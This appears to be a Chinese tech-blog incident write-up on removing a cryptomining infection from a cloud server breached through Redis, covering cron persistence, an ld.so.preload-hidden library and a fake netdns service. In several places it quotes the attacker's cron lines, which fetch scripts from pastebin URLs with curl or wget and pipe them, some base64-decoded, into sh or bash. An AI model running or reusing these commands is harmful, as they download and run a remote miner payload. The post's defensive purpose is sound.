ITPub博客

记一次服务器被用来挖矿的异常问题处理

原创 Linux操作系统 作者:dbasdk 时间:2018-10-10 23:04:37 0 删除 编辑

公司一台阿里云ECS服务器分配给某团队的开发人员拿去做开发测试机,不幸被人利用redis漏洞黑入把服务器用来挖矿了。下面是处理过程:


基本情况:

由于是开发测试机,分配之后全权给开发人员使用了,且直接给的root账号。观察到该ECS的CPU占用异常,好几天都是100%,同时今天收到阿里云的安全告警说该ECS疑似有挖矿程序。


初步核查:

1、CPU占用一直在99%~100%,但top查看不到高占用的进程;

2、root用户下发现来历不明的定时任务且删除后隔几分钟还是会自动添加。

[root@dev cron.d]# crontab -l

*/23 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh

##

[root@dev cron.d]#


处理过程:

1、首先修改了root账号的密码,并禁用了SSH的root登陆配置;


然后参考网上资料进行了如下处理:

(注意:清理前最好与正常的系统对比一下,确认哪些是正常系统不会有的)

2、处理来历不明的定时任务

一开始只用crontab -e删除,但发现几分钟后又有了,所以肯定还有别的配置,后面依次排查了/etc/cron*目录和/var/spool/cron/root等处,与正常系统对比确认后,全部删除,观察半小时以上,终于确认干掉了来历不明的定时任务。

[root@dev cron.d]# crontab -l

*/23 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh

##

[root@dev cron.d]#


[root@dev cron.d]# grep curl *

apache:*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh

root:*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh

[root@dev cron.d]#


[root@dev cron.daily]# ll

total 12

-rwx------ 1 root root 180 Jul 10  2003 logrotate

-rwx------ 1 root root 927 Mar 22  2017 makewhatis.cron

-rwxr-xr-x 1 root root 116 Mar 23  2017 oanacroner

[root@dev cron.daily]# grep curl *

oanacroner:(curl -fsSL https://pastebin.com/raw/tRxfvbYN || wget -q -O- https://pastebin.com/raw/tRxfvbYN)|base64 -d |/bin/bash

[root@dev cron.daily]# pwd

/etc/cron.daily

[root@dev cron.daily]# ll /etc/cron.daily/oanacroner

-rwxr-xr-x 1 root root 116 Mar 23  2017 /etc/cron.daily/oanacroner

[root@dev cron.daily]# 


[root@dev log]# ll /var/spool/cron/root

-rw-r--r-- 1 root root 113 Mar 23  2017 /var/spool/cron/root

[root@dev log]# cat /var/spool/cron/root

*/23 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh

##

[root@dev log]# 


[root@dev cron.d]# ll /var/spool/cron/crontabs/root

-rw-r--r-- 1 root root 113 Mar 23  2017 /var/spool/cron/crontabs/root

[root@dev cron.d]# cat /var/spool/cron/crontabs/root

*/31 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh

##

[root@dev cron.d]#


[root@dev cron.d]# date;crontab -l

Wed Oct 10 10:35:19 CST 2018

no crontab for root

[root@dev cron.d]# 


[root@dev cron.hourly]# ll

total 8

-rwxr-xr-x 1 root root 409 Aug 24  2016 0anacron

-rwxr-xr-x 1 root root 116 Mar 23  2017 oanacroner

[root@dev cron.hourly]# grep curl *

oanacroner:(curl -fsSL https://pastebin.com/raw/tRxfvbYN || wget -q -O- https://pastebin.com/raw/tRxfvbYN)|base64 -d |/bin/bash

[root@dev cron.hourly]# pwd

/etc/cron.hourly

[root@dev cron.hourly]# 

[root@dev etc]# cd cron.monthly

[root@dev cron.monthly]# ll

total 4

-rwxr-xr-x 1 root root 116 Mar 23  2017 oanacroner

[root@dev cron.monthly]# grep curl *

(curl -fsSL https://pastebin.com/raw/tRxfvbYN || wget -q -O- https://pastebin.com/raw/tRxfvbYN)|base64 -d |/bin/bash

[root@dev cron.monthly]# pwd

/etc/cron.monthly

[root@dev cron.monthly]# 


3、清理异常的文件

首先尝试解决top命令查看不到大量占用CPU的异常进程的问题

参考网上资料,发现此处文件很可疑(正常系统不存在这个文件):

[root@dev tmp]# cd /usr/local/lib/

[root@dev lib]# ls

libdns.so

[root@dev lib]# ll

total 12

-rwxr-xr-x 1 root root 9436 Mar 23  2017 libdns.so

[root@dev lib]# pwd

/usr/local/lib

[root@dev lib]# 


删除后top查看


kill掉大量占用CPU的2个异常进程的PID后,系统CPU占用很快就恢复正常了。


解决图中的报错:

ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.

ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.


[root@dev lib]# ll /etc/ld.so.preload

ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.

ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.

-rw-r--r-- 1 root root 50 Mar 23  2017 /etc/ld.so.preload

[root@dev lib]# vi /etc/ld.so.preload

ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.

ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.

[root@dev lib]# vi /etc/ld.so.preload

[root@dev lib]# ll /etc/ld.so.preload

-rw-r--r-- 1 root root 0 Oct 10 11:53 /etc/ld.so.preload

[root@dev lib]# rm -f /etc/ld.so.preload

[root@dev lib]# ll /etc/ld.so.preload

ls: cannot access /etc/ld.so.preload: No such file or directory

[root@dev lib]# 

删除/etc/ld.so.preload后上面的报错就没了。


后面继续排查,使用chkconfig --list发现有异常的开机启动服务 netdns,根据名字的相关性,合计查到下面的文件都是异常的,与正常系统对比后删除。

/bin/dns

/usr/sbin/netdns

/etc/init.d/netdns( /etc/rc.d/init.d/netdns)

此外还有/tmp目录下的一些文件


4、对redis做安全加固

参考阿里云-Redis服务安全加固


https://help.aliyun.com/knowledge_detail/37447.html?spm=a2c4g.11186631.2.3.29131848FutMrC


后续文章将主要在公众号“技术进阶与实战”(WXID:HelloException)发布,欢迎关注!


来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/29734436/viewspace-2215928/,如需转载,请注明出处,否则将追究法律责任。

下一篇: 没有了~
请登录后发表评论 登录
全部评论

注册时间:2014-07-02

  • 博文量
    488
  • 访问量
    1020674